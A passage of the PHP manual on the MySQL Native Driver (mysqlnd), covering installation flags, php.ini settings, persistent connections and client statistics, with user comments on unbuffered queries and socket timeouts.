{
  $began  =  time();
  $tout   = 60 * 5; // five minute limit
  $qry    = "SELECT * FROM my_bigass_table";
  $rh     = mysql_unbuffered_query( $qry, $lh );
  $thread = mysql_thread_id ( $lh );
  while ( $res = mysql_fetch_row( $rh ) )
  {
    /* do what you need to do
     * ...
     * ...
     */
    if ( ( time() - $began ) > $tout )
    {
      // this is taking too long
      mysql_query( "KILL $thread", $clh );
      break;
    }
  }
}
?>
frappyjohn at dos2linux dot org 17-Feb-2003 10:21
Don't let the two hands confuse you, these are both advantages (they should really be on the same hand):

On the one hand, this saves a considerable amount of memory with SQL queries that produce large result sets.

On the other hand, you can start working on the result set immediately ...
david at php dot net 17-May-2002 09:25
You are absolutely required to retrieve all rows in the result set (option 'a' in the first comment). If you fail to do so, PHP will do so for you, and will emit a NOTICE warning you of the fact. From the MySQL API, "Furthermore, you must retrieve all the rows even if you determine in mid-retrieval that you've found the information you were looking for. ".

Also note that if you are using this function, you should be quick about processing the result set, or you will tie up the MySQL server (other threads will be unable to write to the tables you are reading from).

If you want to be able to 'abort' mid result-set or if you want to do lengthy processing on the results, you are misunderstanding the purpose of this function.

Also note that UPDATE queries etc return no result set, so this function is only useful for SELECT etc.


MySQL Native Driver

  • 简介
  • Overview
  • Installation
  • 运行时配置
  • Incompatibilities
  • Persistent Connections
  • Statistics
  • Notes
  • Memory management
  • MySQL Native Driver Plugin API
    • A comparison of mysqlnd plugins with MySQL Proxy
    • Obtaining the mysqlnd plugin API
    • MySQL Native Driver Plugin Architecture
    • The mysqlnd plugin API
    • Getting started building a mysqlnd plugin

User Contributed Notes

juangiordana at gmail dot com 15-Jan-2011 05:55
Notice that since of PHP 5.3.0 there is no need to set 'default_socket_timeout to -1'.

"The MySQL Client Library sets a default timeout of 365 * 24 * 3600 seconds (1 year) and waits for other timeouts to occur, such as TCP/IP timeouts. mysqlnd now uses the same very long timeout."

http://www.php.net/mysqlnd.config.php#mysqlnd.net_read_timeout
koalay at gmail dot com 16-Sep-2009 10:53
For those who manually compiled MySQL, the default
 mysqlnd settings may results in error.
Your mysql_error() function may give you this message:

---------------------------
No such file or directory (trying to connect via unix:///tmp/mysql.sock)
---------------------------

This is because your manually compiled MySQL has its own place for socket.
You need to provide PHP a reference for an appropriate mysql socket.
That means you need to edit php.ini and add a section like this:

---------------------------
[mysql]
mysql.default_socket="/your/path/to/mysql.sock"
---------------------------
eric dot caron at gmail dot com 02-Sep-2009 09:59
One important part of the MySQL Native Driver, which is overlooked, is that when connecting to MySQL via a socket, the connection is subject to the "default_socket_timeout" value.

This means that if you have the default_socket_timeout set to 60 (default value), and you have a query that takes longer than 60 seconds to respond, the connection will be severed and getting the query results will fail.

The solution (as of PHP 5.3.0) is to change default_socket_timeout to -1 in php.ini, or with ini_set.


简介

MySQL Native Driver is a replacement for the MySQL Client Library (libmysqlclient). MySQL Native Driver is part of the official PHP sources as of PHP 5.3.0.

The MySQL database extensions MySQL extension, mysqli and PDO MYSQL all communicate with the MySQL server. In the past, this was done by the extension using the services provided by the MySQL Client Library. The extensions were compiled against the MySQL Client Library in order to use its client-server protocol.

With MySQL Native Driver there is now an alternative, as the MySQL database extensions can be compiled to use MySQL Native Driver instead of the MySQL Client Library.

MySQL Native Driver is written in C as a PHP extension.

User Contributed Notes

There are no user contributed notes for this page.


Overview

What it is not

Although MySQL Native Driver is written as a PHP extension, it is important to note that it does not provide a new API to the PHP programmer. The programmer APIs for MySQL database connectivity are provided by the MySQL extension, mysqli and PDO MYSQL. These extensions can now use the services of MySQL Native Driver to communicate with the MySQL Server. Therefore, you should not think of MySQL Native Driver as an API.

Why use it?

Using the MySQL Native Driver offers a number of advantages over using the MySQL Client Library.

The older MySQL Client Library was written by MySQL AB (now Oracle Corporation) and so was released under the MySQL license. This ultimately led to MySQL support being disabled by default in PHP. However, the MySQL Native Driver has been developed as part of the PHP project, and is therefore released under the PHP license. This removes licensing issues that have been problematic in the past.

Also, in the past, you needed to build the MySQL database extensions against a copy of the MySQL Client Library. This typically meant you needed to have MySQL installed on a machine where you were building the PHP source code. Also, when your PHP application was running, the MySQL database extensions would call down to the MySQL Client library file at run time, so the file needed to be installed on your system. With MySQL Native Driver that is no longer the case as it is included as part of the standard distribution. So you do not need MySQL installed in order to build PHP or run PHP database applications.

Because MySQL Native Driver is written as a PHP extension, it is tightly coupled to the workings of PHP. This leads to gains in efficiency, especially when it comes to memory usage, as the driver uses the PHP memory management system. It also supports the PHP memory limit. Using MySQL Native Driver leads to comparable or better performance than using MySQL Client Library, it always ensures the most efficient use of memory. One example of the memory efficiency is the fact that when using the MySQL Client Library, each row is stored in memory twice, whereas with the MySQL Native Driver each row is only stored once in memory.

Note: Reporting memory usage

Because MySQL Native Driver uses the PHP memory management system, its memory usage can be tracked with memory_get_usage(). This is not possible with libmysqlclient because it uses the C function malloc() instead.

Special features

MySQL Native Driver also provides some special features not available when the MySQL database extensions use MySQL Client Library. These special features are listed below:

  • Improved persistent connections

  • The special function mysqli_fetch_all()

  • Performance statistics calls: mysqli_get_client_stats(), mysqli_get_connection_stats()

The performance statistics facility can prove to be very useful in identifying performance bottlenecks.

MySQL Native Driver also allows for persistent connections when used with the mysqli extension.

SSL Support

MySQL Native Driver supports SSL.

Compressed Protocol Support

MySQL Native Driver supports the compressed client server protocol. Extension ext/mysqli, if configured to use MySQL Native Driver, can also take advantage of this feature. Note that PDO_MYSQL does NOT support compression when used together with mysqlnd.

Named Pipes Support

Named pipes can be used to connect on Windows environments.

User Contributed Notes

There are no user contributed notes for this page.


Installation

Installation on Unix

In order to use the MySQL Native Driver, PHP needs to be built specifying that the MySQL database extensions are compiled with MySQL Native Driver support. This is done through configuration options prior to building the PHP source code.

For example, to build the MySQL extension, mysqli and PDO MYSQL using the MySQL Native Driver, the following command would be given:

./configure --with-mysql=mysqlnd \
--with-mysqli=mysqlnd \
--with-pdo-mysql=mysqlnd \
[other options]

Installation on Windows

In the official PHP Windows distributions, MySQL Native Driver is enabled by default, so no additional configuration is required to use it. All MySQL database extensions will use MySQL Native Driver in this case.

SHA-256 Authentication Plugin support

The MySQL Native Driver requires the OpenSSL functionality of PHP to be loaded and enabled to connect to MySQL through accounts that use the MySQL SHA-256 Authentication Plugin. For example, PHP could be configured using:

./configure --with-mysql=mysqlnd \
--with-mysqli=mysqlnd \
--with-pdo-mysql=mysqlnd \
--with-openssl
[other options]

User Contributed Notes

Nehuen 01-Oct-2015 03:33
In debian, if you need to use mysqld and have already installed php, you can run this command:
sudo apt-get install php5-mysqlnd
and then restart the server, ej apache
sudo /etc/init.d/apache2 restart
now you can use php with mysqld


运行时配置

这些函数的行为受 php.ini 中的设置影响。

MySQL Native Driver Configuration Options
名字 | 默认 | 可修改范围 | 更新日志
mysqlnd.collect_statistics | "1" | PHP_INI_SYSTEM |
mysqlnd.collect_memory_statistics | "0" | PHP_INI_SYSTEM |
mysqlnd.debug | "" | PHP_INI_SYSTEM |
mysqlnd.log_mask | 0 | PHP_INI_ALL |
mysqlnd.mempool_default_size | 16000 | PHP_INI_ALL |
mysqlnd.net_read_timeout | "86400" | PHP_INI_ALL | Before PHP 7.2.0 the default value was "31536000" and the changeability was PHP_INI_SYSTEM
mysqlnd.net_cmd_buffer_size | "4096" | PHP_INI_SYSTEM |
mysqlnd.net_read_buffer_size | "32768" | PHP_INI_SYSTEM |
mysqlnd.sha256_server_public_key | "" | PHP_INI_PERDIR |
mysqlnd.trace_alloc | "" | PHP_INI_SYSTEM |
mysqlnd.fetch_data_copy | 0 | PHP_INI_ALL | Removed as of PHP 8.1.0
有关 PHP_INI_* 样式的更多详情与定义，见 配置可被设定范围。

这是配置指令的简短说明。

mysqlnd.collect_statistics bool

Enables the collection of various client statistics which can be accessed through mysqli_get_client_stats(), mysqli_get_connection_stats(), and are shown in mysqlnd section of the output of the phpinfo() function as well.

This configuration setting enables all MySQL Native Driver statistics except those relating to memory management.

mysqlnd.collect_memory_statistics bool

Enable the collection of various memory statistics which can be accessed through mysqli_get_client_stats(), mysqli_get_connection_stats(), and are shown in mysqlnd section of the output of the phpinfo() function as well.

This configuration setting enables the memory management statistics within the overall set of MySQL Native Driver statistics.

mysqlnd.debug string

Records communication from all extensions using mysqlnd to the specified log file.

The format of the directive is mysqlnd.debug = "option1[,parameter_option1][:option2[,parameter_option2]]".

The options for the format string are as follows:

  • A[,file] - Appends trace output to specified file. Also ensures that data is written after each write. This is done by closing and reopening the trace file (this is slow). It helps ensure a complete log file should the application crash.

  • a[,file] - Appends trace output to the specified file.

  • d - Enables output from DBUG_<N> macros for the current state. May be followed by a list of keywords which selects output only for the DBUG macros with that keyword. An empty list of keywords implies output for all macros.

  • f[,functions] - Limits debugger actions to the specified list of functions. An empty list of functions implies that all functions are selected.

  • F - Marks each debugger output line with the name of the source file containing the macro causing the output.

  • i - Marks each debugger output line with the PID of the current process.

  • L - Marks each debugger output line with the name of the source file line number of the macro causing the output.

  • n - Marks each debugger output line with the current function nesting depth

  • o[,file] - Similar to a[,file] but overwrites old file, and does not append.

  • O[,file] - Similar to A[,file] but overwrites old file, and does not append.

  • t[,N] - Enables function control flow tracing. The maximum nesting depth is specified by N, and defaults to 200.

  • x - This option activates profiling.

  • m - Trace memory allocation and deallocation related calls.

Example:

d:t:x:O,/tmp/mysqlnd.trace

Note:

This feature is only available with a debug build of PHP. Works on Microsoft Windows if using a debug build of PHP and PHP was built using Microsoft Visual C version 9 and above.

mysqlnd.log_mask int

Defines which queries will be logged. The default 0, which disables logging. Define using an integer, and not with PHP constants. For example, a value of 48 (16 + 32) will log slow queries which either use 'no good index' (SERVER_QUERY_NO_GOOD_INDEX_USED = 16) or no index at all (SERVER_QUERY_NO_INDEX_USED = 32). A value of 2043 (1 + 2 + 8 + ... + 1024) will log all slow query types.

The types are as follows: SERVER_STATUS_IN_TRANS=1, SERVER_STATUS_AUTOCOMMIT=2,
SERVER_MORE_RESULTS_EXISTS=8, SERVER_QUERY_NO_GOOD_INDEX_USED=16, SERVER_QUERY_NO_INDEX_USED=32,
SERVER_STATUS_CURSOR_EXISTS=64, SERVER_STATUS_LAST_ROW_SENT=128, SERVER_STATUS_DB_DROPPED=256,
SERVER_STATUS_NO_BACKSLASH_ESCAPES=512, and SERVER_QUERY_WAS_SLOW=1024.

mysqlnd.mempool_default_size int

Default size of the mysqlnd memory pool, which is used by result sets.

mysqlnd.net_read_timeout int

mysqlnd and the MySQL Client Library, libmysqlclient use different networking APIs. mysqlnd uses PHP streams, whereas libmysqlclient uses its own wrapper around the operating level network calls. PHP, by default, sets a read timeout of 60s for streams. This is set via php.ini, default_socket_timeout. This default applies to all streams that set no other timeout value. mysqlnd does not set any other value and therefore connections of long running queries can be disconnected after default_socket_timeout seconds resulting in an error message 2006 - MySQL Server has gone away. The MySQL Client Library sets a default timeout of 24 * 3600 seconds (1 day) and waits for other timeouts to occur, such as TCP/IP timeouts. mysqlnd now uses the same very long timeout. The value is configurable through a new php.ini setting: mysqlnd.net_read_timeout. mysqlnd.net_read_timeout gets used by any extension (ext/mysql, ext/mysqli, PDO_MySQL) that uses mysqlnd. mysqlnd tells PHP Streams to use mysqlnd.net_read_timeout. Please note that there may be subtle differences between MYSQL_OPT_READ_TIMEOUT from the MySQL Client Library and PHP Streams, for example MYSQL_OPT_READ_TIMEOUT is documented to work only for TCP/IP connections and, prior to MySQL 5.1.2, only for Windows. PHP streams may not have this limitation. Please check the streams documentation, if in doubt.

mysqlnd.net_cmd_buffer_size int

mysqlnd allocates an internal command/network buffer of mysqlnd.net_cmd_buffer_size (in php.ini) bytes for every connection. If a MySQL Client Server protocol command, for example, COM_QUERY (normal query), does not fit into the buffer, mysqlnd will grow the buffer to the size required for sending the command. Whenever the buffer gets extended for one connection, command_buffer_too_small will be incremented by one.

If mysqlnd has to grow the buffer beyond its initial size of mysqlnd.net_cmd_buffer_size bytes for almost every connection, you should consider increasing the default size to avoid re-allocations.

The default buffer size is 4096 bytes, which is the smallest value possible.

The value can also be set using mysqli_options(link, MYSQLI_OPT_NET_CMD_BUFFER_SIZE, size).

mysqlnd.net_read_buffer_size int

Maximum read chunk size in bytes when reading the body of a MySQL command packet. The MySQL client server protocol encapsulates all its commands in packets. The packets consist of a small header and a body with the actual payload. The size of the body is encoded in the header. mysqlnd reads the body in chunks of MIN(header.size, mysqlnd.net_read_buffer_size) bytes. If a packet body is larger than mysqlnd.net_read_buffer_size bytes, mysqlnd has to call read() multiple times.

The value can also be set using mysqli_options(link, MYSQLI_OPT_NET_READ_BUFFER_SIZE, size).

mysqlnd.sha256_server_public_key string

SHA-256 Authentication Plugin related. File with the MySQL server public RSA key.

Clients can either omit setting a public RSA key, specify the key through this PHP configuration setting or set the key at runtime using mysqli_options(). If not public RSA key file is given by the client, then the key will be exchanged as part of the standard SHA-256 Authentication Plugin authentication procedure.

mysqlnd.trace_alloc string

mysqlnd.fetch_data_copy int

Enforce copying result sets from the internal result set buffers into PHP variables instead of using the default reference and copy-on-write logic. Please, see the memory management implementation notes for further details.

Copying result sets instead of having PHP variables reference them allows releasing the memory occupied for the PHP variables earlier. Depending on the user API code, the actual database quries and the size of their result sets this may reduce the memory footprint of mysqlnd.

Do not set if using PDO_MySQL. PDO_MySQL has not yet been updated to support the new fetch mode.

Note: Removed as of PHP 8.1.0

User Contributed Notes

There are no user contributed notes for this page.


Incompatibilities

MySQL Native Driver is in most cases compatible with MySQL Client Library (libmysql). This section documents incompatibilities between these libraries.

  • Values of bit data type are returned as binary strings (e.g. "\0" or "\x1F") with libmysql and as decimal strings (e.g. "0" or "31") with mysqlnd. If you want the code to be compatible with both libraries then always return bit fields as numbers from MySQL with a query like this: SELECT bit + 0 FROM table.

User Contributed Notes

There are no user contributed notes for this page.


Persistent Connections

Using Persistent Connections

If mysqli is used with mysqlnd, when a persistent connection is created it generates a COM_CHANGE_USER (mysql_change_user()) call on the server. This ensures that re-authentication of the connection takes place.

As there is some overhead associated with the COM_CHANGE_USER call, it is possible to switch this off at compile time. Reusing a persistent connection will then generate a COM_PING (mysql_ping) call to simply test the connection is reusable.

Generation of COM_CHANGE_USER can be switched off with the compile flag MYSQLI_NO_CHANGE_USER_ON_PCONNECT. For example:

shell# CFLAGS="-DMYSQLI_NO_CHANGE_USER_ON_PCONNECT" ./configure --with-mysql=/usr/local/mysql/ --with-mysqli=/usr/local/mysql/bin/mysql_config --with-pdo-mysql=/usr/local/mysql/bin/mysql_config --enable-debug && make clean && make -j6

Or alternatively:

shell# export CFLAGS="-DMYSQLI_NO_CHANGE_USER_ON_PCONNECT"
shell# configure --whatever-option
shell# make clean
shell# make

Note that only mysqli on mysqlnd uses COM_CHANGE_USER. Other extension-driver combinations use COM_PING on initial use of a persistent connection.

User Contributed Notes

There are no user contributed notes for this page.


Statistics

Using Statistical Data

MySQL Native Driver contains support for gathering statistics on the communication between the client and the server. The statistics gathered are of two main types:

  • Client statistics

  • Connection statistics

If you are using the mysqli extension, these statistics can be obtained through two API calls:

  • mysqli_get_client_stats()

  • mysqli_get_connection_stats()

Note:

Statistics are aggregated among all extensions that use MySQL Native Driver. For example, when compiling both ext/mysql and ext/mysqli against MySQL Native Driver, both function calls of ext/mysql and ext/mysqli will change the statistics. There is no way to find out how much a certain API call of any extension that has been compiled against MySQL Native Driver has impacted a certain statistic. You can configure the PDO MySQL Driver, ext/mysql and ext/mysqli to optionally use the MySQL Native Driver. When doing so, all three extensions will change the statistics.

Accessing Client Statistics

To access client statistics, you need to call mysqli_get_client_stats(). The function call does not require any parameters.

The function returns an associative array that contains the name of the statistic as the key and the statistical data as the value.

Client statistics can also be accessed by calling the phpinfo() function.

Accessing Connection Statistics

To access connection statistics call mysqli_get_connection_stats(). This takes the database connection handle as the parameter.

The function returns an associative array that contains the name of the statistic as the key and the statistical data as the value.

Buffered and Unbuffered Result Sets

Result sets can be buffered or unbuffered. Using default settings, ext/mysql and ext/mysqli work with buffered result sets for normal (non prepared statement) queries. Buffered result sets are cached on the client. After the query execution all results are fetched from the MySQL Server and stored in a cache on the client. The big advantage of buffered result sets is that they allow the server to free all resources allocated to a result set, once the results have been fetched by the client.

Unbuffered result sets on the other hand are kept much longer on the server. If you want to reduce memory consumption on the client, but increase load on the server, use unbuffered results. If you experience a high server load and the figures for unbuffered result sets are high, you should consider moving the load to the clients. Clients typically scale better than servers. Load does not only refer to memory buffers - the server also needs to keep other resources open, for example file handles and threads, before a result set can be freed.

Prepared Statements use unbuffered result sets by default. However, you can use mysqli_stmt_store_result() to enable buffered result sets.

Statistics returned by MySQL Native Driver

The following tables show a list of statistics returned by the mysqli_get_client_stats() and mysqli_get_connection_stats() functions.

Returned mysqlnd statistics: Network
Statistic | Scope | Description | Notes
bytes_sent | Connection | Number of bytes sent from PHP to the MySQL server | Can be used to check the efficiency of the compression protocol
bytes_received | Connection | Number of bytes received from MySQL server | Can be used to check the efficiency of the compression protocol
packets_sent | Connection | Number of MySQL Client Server protocol packets sent | Used for debugging Client Server protocol implementation
packets_received | Connection | Number of MySQL Client Server protocol packets received | Used for debugging Client Server protocol implementation
protocol_overhead_in | Connection | MySQL Client Server protocol overhead in bytes for incoming traffic. Currently only the Packet Header (4 bytes) is considered as overhead. protocol_overhead_in = packets_received * 4 | Used for debugging Client Server protocol implementation
protocol_overhead_out | Connection | MySQL Client Server protocol overhead in bytes for outgoing traffic. Currently only the Packet Header (4 bytes) is considered as overhead. protocol_overhead_out = packets_sent * 4 | Used for debugging Client Server protocol implementation
bytes_received_ok_packet | Connection | Total size of bytes of MySQL Client Server protocol OK packets received. OK packets can contain a status message. The length of the status message can vary and thus the size of an OK packet is not fixed. | Used for debugging CS protocol implementation. Note that the total size in bytes includes the size of the header packet (4 bytes, see protocol overhead).
packets_received_ok | Connection | Number of MySQL Client Server protocol OK packets received. | Used for debugging CS protocol implementation. Note that the total size in bytes includes the size of the header packet (4 bytes, see protocol overhead).
bytes_received_eof_packet | Connection | Total size in bytes of MySQL Client Server protocol EOF packets received. EOF can vary in size depending on the server version. Also, EOF can transport an error message. | Used for debugging CS protocol implementation. Note that the total size in bytes includes the size of the header packet (4 bytes, see protocol overhead).
packets_received_eof | Connection | Number of MySQL Client Server protocol EOF packets. Like with other packet statistics the number of packets will be increased even if PHP does not receive the expected packet but, for example, an error message. | Used for debugging CS protocol implementation. Note that the total size in bytes includes the size of the header packet (4 bytes, see protocol overhead).
bytes_received_rset_header_packet | Connection | Total size in bytes of MySQL Client Server protocol result set header packets. The size of the packets varies depending on the payload (LOAD LOCAL INFILE, INSERT, UPDATE, SELECT, error message). | Used for debugging CS protocol implementation. Note that the total size in bytes includes the size of the header packet (4 bytes, see protocol overhead).
packets_received_rset_header | Connection | Number of MySQL Client Server protocol result set header packets. | Used for debugging CS protocol implementation. Note that the total size in bytes includes the size of the header packet (4 bytes, see protocol overhead).
bytes_received_rset_field_meta_packet | Connection | Total size in bytes of MySQL Client Server protocol result set meta data (field information) packets. Of course the size varies with the fields in the result set. The packet may also transport an error or an EOF packet in case of COM_LIST_FIELDS. | Only useful for debugging CS protocol implementation. Note that the total size in bytes includes the size of the header packet (4 bytes, see protocol overhead).
packets_received_rset_field_meta | Connection | Number of MySQL Client Server protocol result set meta data (field information) packets. | Only useful for debugging CS protocol implementation. Note that the total size in bytes includes the size of the header packet (4 bytes, see protocol overhead).
bytes_received_rset_row_packet | Connection | Total size in bytes of MySQL Client Server protocol result set row data packets. The packet may also transport an error or an EOF packet. You can reverse engineer the number of error and EOF packets by subtracting rows_fetched_from_server_normal and rows_fetched_from_server_ps from bytes_received_rset_row_packet. | Only useful for debugging CS protocol implementation. Note that the total size in bytes includes the size of the header packet (4 bytes, see protocol overhead).
packets_received_rset_row | Connection | Number of MySQL Client Server protocol result set row data packets and their total size in bytes. | Only useful for debugging CS protocol implementation. Note that the total size in bytes includes the size of the header packet (4 bytes, see protocol overhead).
bytes_received_prepare_response_packet | Connection | Total size in bytes of MySQL Client Server protocol OK for Prepared Statement Initialization packets (prepared statement init packets). The packet may also transport an error. The packet size depends on the MySQL version: 9 bytes with MySQL 4.1 and 12 bytes from MySQL 5.0 on. There is no safe way to know how many errors happened. You may be able to guess that an error has occurred if, for example, you always connect to MySQL 5.0 or newer and, bytes_received_prepare_response_packet != packets_received_prepare_response * 12. See also ps_prepared_never_executed, ps_prepared_once_executed. | Only useful for debugging CS protocol implementation. Note that the total size in bytes includes the size of the header packet (4 bytes, see protocol overhead).
packets_received_prepare_response | Connection | Number of MySQL Client Server protocol OK for Prepared Statement Initialization packets (prepared statement init packets). | Only useful for debugging CS protocol implementation. Note that the total size in bytes includes the size of the header packet (4 bytes, see protocol overhead).
bytes_received_change_user_packet | Connection | Total size in bytes of MySQL Client Server protocol COM_CHANGE_USER packets. The packet may also transport an error or EOF. | Only useful for debugging CS protocol implementation. Note that the total size in bytes includes the size of the header packet (4 bytes, see protocol overhead).
packets_received_change_user | Connection | Number of MySQL Client Server protocol COM_CHANGE_USER packets | Only useful for debugging CS protocol implementation. Note that the total size in bytes includes the size of the header packet (4 bytes, see protocol overhead).
packets_sent_command | Connection | Number of MySQL Client Server protocol commands sent from PHP to MySQL. There is no way to know which specific commands and how many of them have been sent. At its best you can use it to check if PHP has sent any commands to MySQL to know if you can consider to disable MySQL support in your PHP binary. There is also no way to reverse engineer the number of errors that may have occurred while sending data to MySQL. The only error that is recorded is command_buffer_too_small (see below). | Only useful for debugging CS protocol implementation.
bytes_received_real_data_normal Connection Number of bytes of payload fetched by the PHP client from mysqlnd using the text protocol. This is the size of the actual data contained in result sets that do not originate from prepared statements and which have been fetched by the PHP client. Note that although a full result set may have been pulled from MySQL by mysqlnd, this statistic only counts actual data pulled from mysqlnd by the PHP client. An example of a code sequence that will increase the value is as follows:
$mysqli = new mysqli();
$res = $mysqli->query("SELECT 'abc'");
$res->fetch_assoc();
$res->close();

Every fetch operation will increase the value.

The statistic will not be increased if the result set is only buffered on the client, but not fetched, such as in the following example:

$mysqli = new mysqli();
$res = $mysqli->query("SELECT 'abc'");
$res->close();
bytes_received_real_data_ps | Connection | Number of bytes of the payload fetched by the PHP client from mysqlnd using the prepared statement protocol. | This is the size of the actual data contained in result sets that originate from prepared statements and which has been fetched by the PHP client. The value will not be increased if the result set is not subsequently read by the PHP client. Note that although a full result set may have been pulled from MySQL by mysqlnd, this statistic only counts actual data pulled from mysqlnd by the PHP client. See also bytes_received_real_data_normal.

Result Set

Returned mysqlnd statistics: Result Set
Statistic | Scope | Description | Notes
result_set_queries | Connection | Number of queries that have generated a result set. Examples of queries that generate a result set: SELECT, SHOW. The statistic will not be incremented if there is an error reading the result set header packet from the line. | You may use it as an indirect measure for the number of queries PHP has sent to MySQL, for example, to identify a client that causes a high database load.
non_result_set_queries | Connection | Number of queries that did not generate a result set. Examples of queries that do not generate a result set: INSERT, UPDATE, LOAD DATA. The statistic will not be incremented if there is an error reading the result set header packet from the line. | You may use it as an indirect measure for the number of queries PHP has sent to MySQL, for example, to identify a client that causes a high database load.
no_index_used | Connection | Number of queries that have generated a result set but did not use an index (see also mysqld start option -log-queries-not-using-indexes). If you want these queries to be reported you can use mysqli_report(MYSQLI_REPORT_INDEX) to make ext/mysqli throw an exception. If you prefer a warning instead of an exception use mysqli_report(MYSQLI_REPORT_INDEX ^ MYSQLI_REPORT_STRICT).
bad_index_used | Connection | Number of queries that have generated a result set and did not use a good index (see also mysqld start option -log-slow-queries). | If you want these queries to be reported you can use mysqli_report(MYSQLI_REPORT_INDEX) to make ext/mysqli throw an exception. If you prefer a warning instead of an exception use mysqli_report(MYSQLI_REPORT_INDEX ^ MYSQLI_REPORT_STRICT)
slow_queries | Connection | SQL statements that took more than long_query_time seconds to execute and required at least min_examined_row_limit rows to be examined. | Not reported through mysqli_report()
buffered_sets | Connection | Number of buffered result sets returned by normal queries. Normal means not prepared statement in the following notes. | Examples of API calls that will buffer result sets on the client: mysql_query(), mysqli_query(), mysqli_store_result(), mysqli_stmt_get_result(). Buffering result sets on the client ensures that server resources are freed as soon as possible and it makes result set scrolling easier. The downside is the additional memory consumption on the client for buffering data. Note that mysqlnd (unlike the MySQL Client Library) respects the PHP memory limit because it uses PHP internal memory management functions to allocate memory. This is also the reason why memory_get_usage() reports a higher memory consumption when using mysqlnd instead of the MySQL Client Library. memory_get_usage() does not measure the memory consumption of the MySQL Client Library at all because the MySQL Client Library does not use PHP internal memory management functions monitored by the function!
unbuffered_sets | Connection | Number of unbuffered result sets returned by normal (non prepared statement) queries. | Examples of API calls that will not buffer result sets on the client: mysqli_use_result()
ps_buffered_sets | Connection | Number of buffered result sets returned by prepared statements. By default prepared statements are unbuffered. | Examples of API calls that will buffer result sets on the client: mysqli_stmt_store_result
ps_unbuffered_sets | Connection | Number of unbuffered result sets returned by prepared statements. | By default prepared statements are unbuffered.
flushed_normal_sets Connection Number of result sets from normal (non prepared statement) queries with unread data which have been flushed silently for you. Flushing happens only with unbuffered result sets. Unbuffered result sets must be fetched completely before a new query can be run on the connection otherwise MySQL will throw an error. If the application does not fetch all rows from an unbuffered result set, mysqlnd does implicitly fetch the result set to clear the line. See also rows_skipped_normal, rows_skipped_ps. Some possible causes for an implicit flush:

  • Faulty client application

  • Client stopped reading after it found what it was looking for but has made MySQL calculate more records than needed

  • Client application has stopped unexpectedly

flushed_ps_sets Connection Number of result sets from prepared statements with unread data which have been flushed silently for you. Flushing happens only with unbuffered result sets. Unbuffered result sets must be fetched completely before a new query can be run on the connection otherwise MySQL will throw an error. If the application does not fetch all rows from an unbuffered result set, mysqlnd does implicitly fetch the result set to clear the line. See also rows_skipped_normal, rows_skipped_ps. Some possible causes for an implicit flush:

  • Faulty client application

  • Client stopped reading after it found what it was looking for but has made MySQL calculate more records than needed

  • Client application has stopped unexpectedly

ps_prepared_never_executed | Connection | Number of statements prepared but never executed. | Prepared statements occupy server resources. You should not prepare a statement if you do not plan to execute it.
ps_prepared_once_executed | Connection | Number of prepared statements executed only one. | One of the ideas behind prepared statements is that the same query gets executed over and over again (with different parameters) and some parsing and other preparation work can be saved, if statement execution is split up in separate prepare and execute stages. The idea is to prepare once and cache results, for example, the parse tree to be reused during multiple statement executions. If you execute a prepared statement only once the two stage processing can be inefficient compared to normal queries because all the caching means extra work and it takes (limited) server resources to hold the cached information. Consequently, prepared statements that are executed only once may cause performance hurts.
rows_fetched_from_server_normal, rows_fetched_from_server_ps | Connection | Total number of result set rows successfully fetched from MySQL regardless if the client application has consumed them or not. Some of the rows may not have been fetched by the client application but have been flushed implicitly. | See also packets_received_rset_row
rows_buffered_from_client_normal, rows_buffered_from_client_ps | Connection | Total number of successfully buffered rows originating from a "normal" query or a prepared statement. This is the number of rows that have been fetched from MySQL and buffered on client. Note that there are two distinct statistics on rows that have been buffered (MySQL to mysqlnd internal buffer) and buffered rows that have been fetched by the client application (mysqlnd internal buffer to client application). If the number of buffered rows is higher than the number of fetched buffered rows it can mean that the client application runs queries that cause larger result sets than needed resulting in rows not read by the client. | Examples of queries that will buffer results: mysqli_query(), mysqli_store_result()
rows_fetched_from_client_normal_buffered, rows_fetched_from_client_ps_buffered | Connection | Total number of rows fetched by the client from a buffered result set created by a normal query or a prepared statement.
rows_fetched_from_client_normal_unbuffered, rows_fetched_from_client_ps_unbuffered | Connection | Total number of rows fetched by the client from a unbuffered result set created by a "normal" query or a prepared statement.
rows_fetched_from_client_ps_cursor | Connection | Total number of rows fetch by the client from a cursor created by a prepared statement.
rows_skipped_normal, rows_skipped_ps | Connection | Reserved for future use (currently not supported)
copy_on_write_saved, copy_on_write_performed | Process | With mysqlnd, variables returned by the extensions point into mysqlnd internal network result buffers. If you do not change the variables, fetched data will be kept only once in memory. If you change the variables, mysqlnd has to perform a copy-on-write to protect the internal network result buffers from being changed. With the MySQL Client Library you always hold fetched data twice in memory. Once in the internal MySQL Client Library buffers and once in the variables returned by the extensions. In theory mysqlnd can save up to 40% memory. However, note that the memory saving cannot be measured using memory_get_usage().
explicit_free_result, implicit_free_result | Connection, Process (only during prepared statement cleanup) | Total number of freed result sets. | The free is always considered explicit but for result sets created by an init command, for example, mysqli_options(MYSQLI_INIT_COMMAND , ...)
proto_text_fetched_null, proto_text_fetched_bit, proto_text_fetched_tinyint proto_text_fetched_short, proto_text_fetched_int24, proto_text_fetched_int proto_text_fetched_bigint, proto_text_fetched_decimal, proto_text_fetched_float proto_text_fetched_double, proto_text_fetched_date, proto_text_fetched_year proto_text_fetched_time, proto_text_fetched_datetime, proto_text_fetched_timestamp proto_text_fetched_string, proto_text_fetched_blob, proto_text_fetched_enum proto_text_fetched_set, proto_text_fetched_geometry, proto_text_fetched_other Connection Total number of columns of a certain type fetched from a normal query (MySQL text protocol). Mapping from C API / MySQL meta data type to statistics name:

  • MYSQL_TYPE_NULL - proto_text_fetched_null

  • MYSQL_TYPE_BIT - proto_text_fetched_bit

  • MYSQL_TYPE_TINY - proto_text_fetched_tinyint

  • MYSQL_TYPE_SHORT - proto_text_fetched_short

  • MYSQL_TYPE_INT24 - proto_text_fetched_int24

  • MYSQL_TYPE_LONG - proto_text_fetched_int

  • MYSQL_TYPE_LONGLONG - proto_text_fetched_bigint

  • MYSQL_TYPE_DECIMAL, MYSQL_TYPE_NEWDECIMAL - proto_text_fetched_decimal

  • MYSQL_TYPE_FLOAT - proto_text_fetched_float

  • MYSQL_TYPE_DOUBLE - proto_text_fetched_double

  • MYSQL_TYPE_DATE, MYSQL_TYPE_NEWDATE - proto_text_fetched_date

  • MYSQL_TYPE_YEAR - proto_text_fetched_year

  • MYSQL_TYPE_TIME - proto_text_fetched_time

  • MYSQL_TYPE_DATETIME - proto_text_fetched_datetime

  • MYSQL_TYPE_TIMESTAMP - proto_text_fetched_timestamp

